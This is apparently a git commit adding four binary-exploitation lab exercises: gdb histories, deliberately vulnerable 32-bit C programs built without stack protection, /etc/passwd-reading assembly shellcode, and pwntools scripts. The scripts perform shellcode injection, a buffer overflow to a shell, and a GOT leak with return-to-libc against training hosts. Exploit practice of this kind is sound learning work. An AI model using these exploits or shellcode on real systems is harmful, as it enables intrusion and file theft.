add lab1-lab4
This commit is contained in:
parent
2f4ff1a22b
commit
f548ba54d0
|
@ -0,0 +1,256 @@
|
|||
disas main
|
||||
b *0x08048799
|
||||
r
|
||||
info registers
|
||||
pdisas main
|
||||
info registers
|
||||
xinfo
|
||||
xinfo register
|
||||
context
|
||||
x/wx 0xffffd640
|
||||
si
|
||||
ni
|
||||
q
|
||||
q
|
||||
disas main
|
||||
disas get_flag
|
||||
b *0x080486ee
|
||||
r
|
||||
ni
|
||||
x/wx
|
||||
x/wx 0xffffd5b8
|
||||
c
|
||||
q
|
||||
disas get_flag
|
||||
b *0x080486ee
|
||||
r
|
||||
ni
|
||||
x/w 0xffffd5b8
|
||||
c
|
||||
q
|
||||
bcall read
|
||||
r
|
||||
ni
|
||||
x/wx 0xffffd5b8
|
||||
c
|
||||
clear
|
||||
q
|
||||
disas get_flag
|
||||
b *0x08048720
|
||||
r
|
||||
set $edx=$eax
|
||||
info registers
|
||||
c
|
||||
q
|
||||
disas main
|
||||
info functions
|
||||
q
|
||||
disas main
|
||||
disas get_flag
|
||||
b *0x080486ee
|
||||
r
|
||||
ni
|
||||
x/d 0xffffd5b8
|
||||
c
|
||||
q
|
||||
ãr
|
||||
b *0x080486ee
|
||||
r
|
||||
ni
|
||||
x/d 0xffffd5b8
|
||||
x/u 0xffffd5b8
|
||||
r
|
||||
c
|
||||
x/d 0xffffd5b8
|
||||
c
|
||||
r
|
||||
ni
|
||||
x/d 0xffffd5b8
|
||||
c
|
||||
r
|
||||
ni
|
||||
x/d 0xffffd5b8
|
||||
c
|
||||
r
|
||||
ni
|
||||
x/d 0xffffd5b8
|
||||
c
|
||||
r
|
||||
ni
|
||||
x/d 0xffffd5b8
|
||||
c
|
||||
r
|
||||
x/d 0xffffd5b8
|
||||
c
|
||||
r
|
||||
ni
|
||||
x/d 0xffffd5b8
|
||||
ni
|
||||
ni
|
||||
c
|
||||
r
|
||||
ni
|
||||
x/d 0xffffd5b8
|
||||
c
|
||||
r
|
||||
ni
|
||||
x/d 0xffffd5b8
|
||||
ni
|
||||
ni
|
||||
c
|
||||
r
|
||||
ni
|
||||
x/d 0xffffd5b8
|
||||
r
|
||||
ni
|
||||
x/d 0xffffd5b8
|
||||
c
|
||||
r
|
||||
ni
|
||||
x/d 0xffffd5b8
|
||||
r
|
||||
ni
|
||||
x/d 0xffffd5b8
|
||||
ni
|
||||
ni
|
||||
c
|
||||
r
|
||||
ni
|
||||
x/d 0xffffd5b8
|
||||
r
|
||||
ni
|
||||
x/d 0xffffd5b8
|
||||
r
|
||||
ni
|
||||
x/d 0xffffd5b8
|
||||
ni
|
||||
ni
|
||||
c
|
||||
r
|
||||
ni
|
||||
x/d 0xffffd5b8
|
||||
r
|
||||
ni
|
||||
x/d 0xffffd5b8
|
||||
r
|
||||
ni
|
||||
x/d 0xffffd5b8
|
||||
r
|
||||
ni
|
||||
x/d 0xffffd5b8
|
||||
r
|
||||
ni
|
||||
x/d 0xffffd5b8
|
||||
r
|
||||
ni
|
||||
x/d 0xffffd5b8
|
||||
r
|
||||
ni
|
||||
x/d 0xffffd5b8
|
||||
ni
|
||||
ni
|
||||
ni
|
||||
c
|
||||
r
|
||||
ni
|
||||
x/d 0xffffd5b8
|
||||
r
|
||||
ni
|
||||
x/d 0xffffd5b8
|
||||
r
|
||||
ni
|
||||
x/d 0xffffd5b8
|
||||
bu'
|
||||
ni
|
||||
ni
|
||||
c
|
||||
r
|
||||
ni
|
||||
x/d 0xffffd5b8
|
||||
r
|
||||
ni
|
||||
x/d 0xffffd5b8
|
||||
ni
|
||||
ãc
|
||||
c
|
||||
r
|
||||
ni
|
||||
x/d 0xffffd5b8
|
||||
c
|
||||
r
|
||||
ni
|
||||
x/d 0xffffd5b8
|
||||
ni
|
||||
ni
|
||||
|
||||
c
|
||||
r
|
||||
ni
|
||||
x/d 0xffffd5b8
|
||||
r
|
||||
ni
|
||||
x/d 0xffffd5b8
|
||||
ni
|
||||
ni
|
||||
c
|
||||
r
|
||||
ni
|
||||
x/d 0xffffd5b8
|
||||
q
|
||||
r
|
||||
x/d 0xffffd5b8
|
||||
x/x 0xffffd5b8
|
||||
x/p 0xffffd5b8
|
||||
x/u 0xffffd5b8
|
||||
x/o 0xffffd5b8
|
||||
r
|
||||
disas main
|
||||
disas get_flag
|
||||
b *0x080486ee
|
||||
r
|
||||
x/x 0xffffd5b8
|
||||
c
|
||||
x/x 0xffffd5b8
|
||||
x/d 0xffffd5b8
|
||||
c
|
||||
r
|
||||
ni
|
||||
x/d 0xffffd5b8
|
||||
c
|
||||
r
|
||||
ni
|
||||
x/d 0xffffd5b8
|
||||
c
|
||||
r
|
||||
ni
|
||||
x/d 0xffffd5b8
|
||||
c
|
||||
q
|
||||
r
|
||||
x/x $esp
|
||||
info $esp
|
||||
info esp
|
||||
info registers esp
|
||||
q
|
||||
disas main
|
||||
disas get_flag
|
||||
b *0x080486ee
|
||||
r
|
||||
ni
|
||||
p/u 0xffffd5b8
|
||||
p/u *0xffffd5b8
|
||||
c
|
||||
r
|
||||
ni
|
||||
p/u *0xffffd5b8
|
||||
x/d 0xffffd5b8
|
||||
c
|
||||
q
|
||||
bcall read
|
||||
r
|
||||
ni
|
||||
p/u *0xffffd5b8
|
||||
x/d 0xffffd5b8
|
||||
ni
|
||||
got
|
||||
q
|
Binary file not shown.
|
@ -0,0 +1,28 @@
|
|||
#include <stdio.h>
|
||||
#include <unistd.h>
|
||||
|
||||
|
||||
|
||||
void get_flag(){
|
||||
int fd ;
|
||||
int password;
|
||||
int magic ;
|
||||
char key[] = "Do_you_know_why_my_teammate_Orange_is_so_angry???";
|
||||
char cipher[] = {7, 59, 25, 2, 11, 16, 61, 30, 9, 8, 18, 45, 40, 89, 10, 0, 30, 22, 0, 4, 85, 22, 8, 31, 7, 1, 9, 0, 126, 28, 62, 10, 30, 11, 107, 4, 66, 60, 44, 91, 49, 85, 2, 30, 33, 16, 76, 30, 66};
|
||||
fd = open("/dev/urandom",0);
|
||||
read(fd,&password,4);
|
||||
printf("Give me maigc :");
|
||||
scanf("%d",&magic);
|
||||
if(password == magic){
|
||||
for(int i = 0 ; i < sizeof(cipher) ; i++){
|
||||
printf("%c",cipher[i]^key[i]);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
int main(){
|
||||
setvbuf(stdout,0,2,0);
|
||||
get_flag();
|
||||
return 0 ;
|
||||
}
|
|
@ -0,0 +1,75 @@
|
|||
dias main
|
||||
disas main
|
||||
q
|
||||
disas main
|
||||
b *0x0804858a
|
||||
r
|
||||
si
|
||||
q
|
||||
disas main
|
||||
b *0x0804858a
|
||||
at
|
||||
c
|
||||
si
|
||||
ni
|
||||
si
|
||||
ni
|
||||
q
|
||||
disas main
|
||||
diaas _start
|
||||
info functions
|
||||
b *0x08048060
|
||||
r
|
||||
si
|
||||
ni
|
||||
ni
|
||||
q
|
||||
disas mian
|
||||
disas main
|
||||
b *0x08048559
|
||||
r
|
||||
si
|
||||
ni
|
||||
b *0x80484fd
|
||||
r
|
||||
c
|
||||
q
|
||||
b *0x80484fd
|
||||
c
|
||||
r
|
||||
ni
|
||||
x/30wx 0xffffd5b0
|
||||
x/30wx 0xffffd5c4
|
||||
q
|
||||
disas main
|
||||
q
|
||||
disas main
|
||||
b *0x80484fd
|
||||
r
|
||||
si
|
||||
si
|
||||
si
|
||||
q
|
||||
q
|
||||
q
|
||||
at
|
||||
disas main
|
||||
b *0x0804858a
|
||||
c
|
||||
si
|
||||
si
|
||||
x/s 0x80490c8
|
||||
x/30gx 0x804a065
|
||||
x/30wx 0x804a065
|
||||
x/30wx 0x804a060
|
||||
x/30wx 0x804a060
|
||||
q
|
||||
q
|
||||
q
|
||||
q
|
||||
q
|
||||
q
|
||||
b _start
|
||||
r
|
||||
ni
|
||||
q
|
|
@ -0,0 +1,2 @@
|
|||
orw:orw.c
|
||||
gcc -z execstack -m32 orw.c -o orw
|
|
@ -0,0 +1,30 @@
|
|||
section .text
|
||||
global _start
|
||||
_start
|
||||
jmp file
|
||||
open :
|
||||
pop ebx
|
||||
xor eax,eax
|
||||
mov al,5
|
||||
xor ecx,ecx
|
||||
int 0x80
|
||||
|
||||
|
||||
mov ebx,eax
|
||||
mov al,3
|
||||
mov ecx,esp
|
||||
mov dl,0x30
|
||||
int 0x80
|
||||
|
||||
mov al,4
|
||||
mov bl,1
|
||||
mov dl,0x30
|
||||
int 0x80
|
||||
|
||||
xor eax,eax
|
||||
inc eax
|
||||
int 0x80
|
||||
|
||||
file :
|
||||
call open
|
||||
db '/etc/passwd',0x0
|
Binary file not shown.
|
@ -0,0 +1,12 @@
|
|||
#!/usr/bin/env python
|
||||
# -*- coding: utf-8 -*-
|
||||
from pwn import *
|
||||
|
||||
host = "training.pwnable.tw"
|
||||
port = "11002"
|
||||
|
||||
r = remote(host,port)
|
||||
r.recvuntil(":")
|
||||
sc = "\xeb\x20\x5b\x31\xc0\xb0\x05\x31\xc9\xcd\x80\x89\xc3\xb0\x03\x89\xe1\xb2\x30\xcd\x80\xb0\x04\xb3\x01\xb2\x30\xcd\x80\x31\xc0\x40\xcd\x80\xe8\xdb\xff\xff\xff/home/orw/flag\x00"
|
||||
r.sendline(sc)
|
||||
r.interactive()
|
|
@ -0,0 +1,256 @@
|
|||
contextup
|
||||
contextup
|
||||
contextup
|
||||
contextup
|
||||
contextup
|
||||
contextup
|
||||
contextdown
|
||||
contextdown
|
||||
contextdown
|
||||
contextdown
|
||||
contextdown
|
||||
contextdown
|
||||
q
|
||||
b *main
|
||||
r
|
||||
contextup
|
||||
contextup
|
||||
contextup
|
||||
contextdown
|
||||
contextdown
|
||||
contextdown
|
||||
contextup
|
||||
contextup
|
||||
q
|
||||
r
|
||||
contextup
|
||||
contextup
|
||||
contextup
|
||||
contextup
|
||||
contextup
|
||||
contextup
|
||||
contextup
|
||||
contextup
|
||||
contextup
|
||||
contextup
|
||||
contextdown
|
||||
contextdown
|
||||
contextdown
|
||||
contextdown
|
||||
contextdown
|
||||
contextdown
|
||||
contextdown
|
||||
contextdown
|
||||
contextdown
|
||||
contextdown
|
||||
contextdown
|
||||
contextdown
|
||||
contextup
|
||||
contextup
|
||||
contextup
|
||||
contextup
|
||||
contextdown
|
||||
contextup
|
||||
contextup
|
||||
contextdown
|
||||
contextdown
|
||||
contextdown
|
||||
contextup
|
||||
contextup
|
||||
contextup
|
||||
contextdown
|
||||
contextdown
|
||||
contextdown
|
||||
contextdown
|
||||
contextdown
|
||||
contextdown
|
||||
contextdown
|
||||
contextdown
|
||||
contextdown
|
||||
contextdown
|
||||
contextup
|
||||
contextup
|
||||
contextup
|
||||
contextup
|
||||
q
|
||||
q
|
||||
r
|
||||
contextup
|
||||
contextup
|
||||
contextdown
|
||||
contextdown
|
||||
contextdown
|
||||
contextdown
|
||||
contextup
|
||||
contextup
|
||||
contextup
|
||||
contextup
|
||||
contextup
|
||||
contextup
|
||||
contextup
|
||||
contextup
|
||||
contextdown
|
||||
contextup
|
||||
contextup
|
||||
contextup
|
||||
contextup
|
||||
contextup
|
||||
contextup
|
||||
contextdown
|
||||
contextdown
|
||||
contextup
|
||||
contextup
|
||||
contextup
|
||||
contextdown
|
||||
contextdown
|
||||
contextdown
|
||||
contextup
|
||||
contextup
|
||||
contextup
|
||||
contextup
|
||||
contextup
|
||||
contextup
|
||||
contextup
|
||||
contextup
|
||||
contextup
|
||||
contextup
|
||||
contextdown
|
||||
contextdown
|
||||
contextdown
|
||||
contextdown
|
||||
contextdown
|
||||
contextdown
|
||||
contextdown
|
||||
contextdown
|
||||
contextdown
|
||||
contextdown
|
||||
contextdown
|
||||
contextdown
|
||||
contextdown
|
||||
contextdown
|
||||
contextdown
|
||||
contextdown
|
||||
contextdown
|
||||
contextdown
|
||||
contextdown
|
||||
contextdown
|
||||
contextup
|
||||
contextup
|
||||
contextup
|
||||
contextdown
|
||||
contextdown
|
||||
contextdown
|
||||
contextdown
|
||||
contextdown
|
||||
contextup
|
||||
contextup
|
||||
contextup
|
||||
contextup
|
||||
contextup
|
||||
contextup
|
||||
contextup
|
||||
contextup
|
||||
contextup
|
||||
contextdown
|
||||
contextdown
|
||||
contextdown
|
||||
contextdown
|
||||
contextdown
|
||||
contextdown
|
||||
contextdown
|
||||
contextdown
|
||||
contextup
|
||||
contextup
|
||||
contextup
|
||||
contextup
|
||||
contextdown
|
||||
contextdown
|
||||
contextdown
|
||||
contextdown
|
||||
contextdown
|
||||
contextdown
|
||||
contextdown
|
||||
contextup
|
||||
contextup
|
||||
contextup
|
||||
q
|
||||
contextdown
|
||||
q
|
||||
b main
|
||||
r
|
||||
contextdown
|
||||
contextdown
|
||||
contextdown
|
||||
contextup
|
||||
contextup
|
||||
contextup
|
||||
contextup
|
||||
contextup
|
||||
contextup
|
||||
contextup
|
||||
contextup
|
||||
contextup
|
||||
contextup
|
||||
contextup
|
||||
contextup
|
||||
contextup
|
||||
contextdown
|
||||
contextdown
|
||||
contextdown
|
||||
contextdown
|
||||
contextdown
|
||||
contextdown
|
||||
contextdown
|
||||
contextdown
|
||||
contextdown
|
||||
contextdown
|
||||
contextdown
|
||||
contextdown
|
||||
contextdown
|
||||
contextdown
|
||||
contextdown
|
||||
contextdown
|
||||
contextdown
|
||||
contextdown
|
||||
contextup
|
||||
contextup
|
||||
contextup
|
||||
contextup
|
||||
contextup
|
||||
contextup
|
||||
contextup
|
||||
contextup
|
||||
contextup
|
||||
contextdown
|
||||
contextdown
|
||||
contextdown
|
||||
contextup
|
||||
contextup
|
||||
contextup
|
||||
contextup
|
||||
contextup
|
||||
contextup
|
||||
contextup
|
||||
contextup
|
||||
contextup
|
||||
contextup
|
||||
contextdown
|
||||
contextdown
|
||||
contextdown
|
||||
contextdown
|
||||
contextdown
|
||||
contextdown
|
||||
contextdown
|
||||
contextdown
|
||||
contextdown
|
||||
contextdown
|
||||
contextdown
|
||||
contextdown
|
||||
contextdown
|
||||
contextdown
|
||||
contextdown
|
||||
contextdown
|
||||
contextdown
|
||||
contextdown
|
||||
contextdown
|
||||
q
|
|
@ -0,0 +1,2 @@
|
|||
ret2sc:ret2sc.c
|
||||
gcc -m32 -fno-stack-protector -z execstack ret2sc.c -o ret2sc
|
Binary file not shown.
|
@ -0,0 +1,13 @@
|
|||
#include <stdio.h>
|
||||
|
||||
char name[50];
|
||||
|
||||
int main(){
|
||||
setvbuf(stdout,0,2,0);
|
||||
printf("Name:");
|
||||
read(0,name,50);
|
||||
char buf[20];
|
||||
printf("Try your best:");
|
||||
gets(buf);
|
||||
return ;
|
||||
}
|
|
@ -0,0 +1,17 @@
|
|||
#!/usr/bin/env python
|
||||
# -*- coding: utf-8 -*-
|
||||
from pwn import *
|
||||
|
||||
host = "10.211.55.28"
|
||||
port = 8888
|
||||
|
||||
r = remote(host,port)
|
||||
name = 0x804a060
|
||||
r.recvuntil(":")
|
||||
r.sendline(asm(shellcraft.sh()))
|
||||
r.recvuntil(":")
|
||||
payload = "a"*32
|
||||
payload += p32(name)
|
||||
r.sendline(payload)
|
||||
|
||||
r.interactive()
|
|
@ -0,0 +1,135 @@
|
|||
disas main
|
||||
q
|
||||
r
|
||||
off puts
|
||||
off system
|
||||
q
|
||||
disas main
|
||||
b *0x0000000000400814
|
||||
r
|
||||
q
|
||||
r
|
||||
vmmmap
|
||||
vmmap
|
||||
x/30gx 0x0804a000
|
||||
x/30wx 0x0804a000
|
||||
q
|
||||
r
|
||||
off puts
|
||||
q
|
||||
r
|
||||
got
|
||||
at
|
||||
got
|
||||
x/wx 0x804a01cc
|
||||
x/wx 0x804a01c
|
||||
x/i 0xf7591ca0
|
||||
off puts
|
||||
at
|
||||
vmmap
|
||||
libc
|
||||
off system
|
||||
r
|
||||
q
|
||||
r
|
||||
abcd 32
|
||||
c
|
||||
length 32 P
|
||||
find sh
|
||||
find /binsh
|
||||
find /bin/sh
|
||||
off 0xf7f6f82b
|
||||
libc
|
||||
x/x 0xf7f6f82b-0xf7e14000
|
||||
q
|
||||
r
|
||||
vmmap
|
||||
r
|
||||
x/x 0x804a060
|
||||
x/x 0x804a080
|
||||
q
|
||||
patten
|
||||
patten_create
|
||||
cyclic
|
||||
pattern_create
|
||||
pattern_create 100
|
||||
r
|
||||
q
|
||||
r
|
||||
r
|
||||
ni
|
||||
b read
|
||||
r
|
||||
ni
|
||||
q
|
||||
r
|
||||
ni
|
||||
b read
|
||||
r
|
||||
ni
|
||||
q
|
||||
r
|
||||
b read
|
||||
c
|
||||
ni
|
||||
r
|
||||
ni
|
||||
q
|
||||
r
|
||||
b read
|
||||
r
|
||||
ni
|
||||
q
|
||||
r
|
||||
b read
|
||||
r
|
||||
ni
|
||||
q
|
||||
r
|
||||
q
|
||||
r
|
||||
q
|
||||
q
|
||||
r
|
||||
contextup
|
||||
contextup
|
||||
contextdown
|
||||
contextdown
|
||||
contextdown
|
||||
contextdown
|
||||
contextup
|
||||
contextup
|
||||
contextup
|
||||
contextup
|
||||
contextup
|
||||
contextup
|
||||
contextup
|
||||
contextup
|
||||
contextup
|
||||
contextup
|
||||
contextup
|
||||
contextdown
|
||||
contextdown
|
||||
contextdown
|
||||
contextdown
|
||||
contextdown
|
||||
contextdown
|
||||
contextdown
|
||||
contextdown
|
||||
contextdown
|
||||
contextdown
|
||||
contextdown
|
||||
contextdown
|
||||
contextup
|
||||
contextup
|
||||
contextup
|
||||
contextdown
|
||||
contextdown
|
||||
contextdown
|
||||
contextdown
|
||||
contextdown
|
||||
contextdown
|
||||
contextdown
|
||||
contextdown
|
||||
contextdown
|
||||
q
|
|
@ -0,0 +1,2 @@
|
|||
ret2lib:ret2lib.c
|
||||
gcc -fno-stack-protector -mpreferred-stack-boundary=2 -m32 ret2lib.c -o ret2lib
|
Binary file not shown.
|
@ -0,0 +1,34 @@
|
|||
#include <stdio.h>
|
||||
|
||||
void See_something(unsigned int addr){
|
||||
int *address ;
|
||||
address = (int *)addr ;
|
||||
printf("The content of the address : %p\n",*address);
|
||||
};
|
||||
|
||||
void Print_message(char *mesg){
|
||||
char buf[48];
|
||||
strcpy(buf,mesg);
|
||||
printf("Your message is : %s",buf);
|
||||
}
|
||||
|
||||
int main(){
|
||||
char address[10] ;
|
||||
char message[256];
|
||||
unsigned int addr ;
|
||||
puts("###############################");
|
||||
puts("Do you know return to library ?");
|
||||
puts("###############################");
|
||||
puts("What do you want to see in memory?");
|
||||
printf("Give me an address (in dec) :");
|
||||
fflush(stdout);
|
||||
read(0,address,10);
|
||||
addr = strtol(address);
|
||||
See_something(addr) ;
|
||||
printf("Leave some message for me :");
|
||||
fflush(stdout);
|
||||
read(0,message,256);
|
||||
Print_message(message);
|
||||
puts("Thanks you ~");
|
||||
return 0 ;
|
||||
}
|
|
@ -0,0 +1,27 @@
|
|||
#!/usr/bin/env python
|
||||
# -*- coding: utf-8 -*-
|
||||
from pwn import *
|
||||
|
||||
host = "training.pwnable.tw"
|
||||
port = 11004
|
||||
|
||||
r = remote(host,port)
|
||||
|
||||
r.recvuntil(":")
|
||||
puts_got = 0x0804a01c
|
||||
|
||||
r.sendline(str(puts_got))
|
||||
r.recvuntil(": ")
|
||||
puts_adr = int(r.recvuntil("\n").strip(),16)
|
||||
puts_off = 0x5f140
|
||||
libc = puts_adr - puts_off
|
||||
print "libc : ",hex(libc)
|
||||
system = libc + 0x3a940
|
||||
sh = 0x804929e
|
||||
r.recvuntil(":")
|
||||
payload = "a"*60
|
||||
payload += p32(system)
|
||||
payload += "bbbb"
|
||||
payload += p32(sh)
|
||||
r.sendline(payload)
|
||||
r.interactive()
|
|
@ -1,5 +1,6 @@
|
|||
#!/bin/bash
|
||||
#
|
||||
cd $HOME
|
||||
sudo apt-get -y update
|
||||
sudo apt-get -y upgrade
|
||||
sudo apt-get -y install binutils nasm
|
||||
|
|
Loading…
Reference in New Issue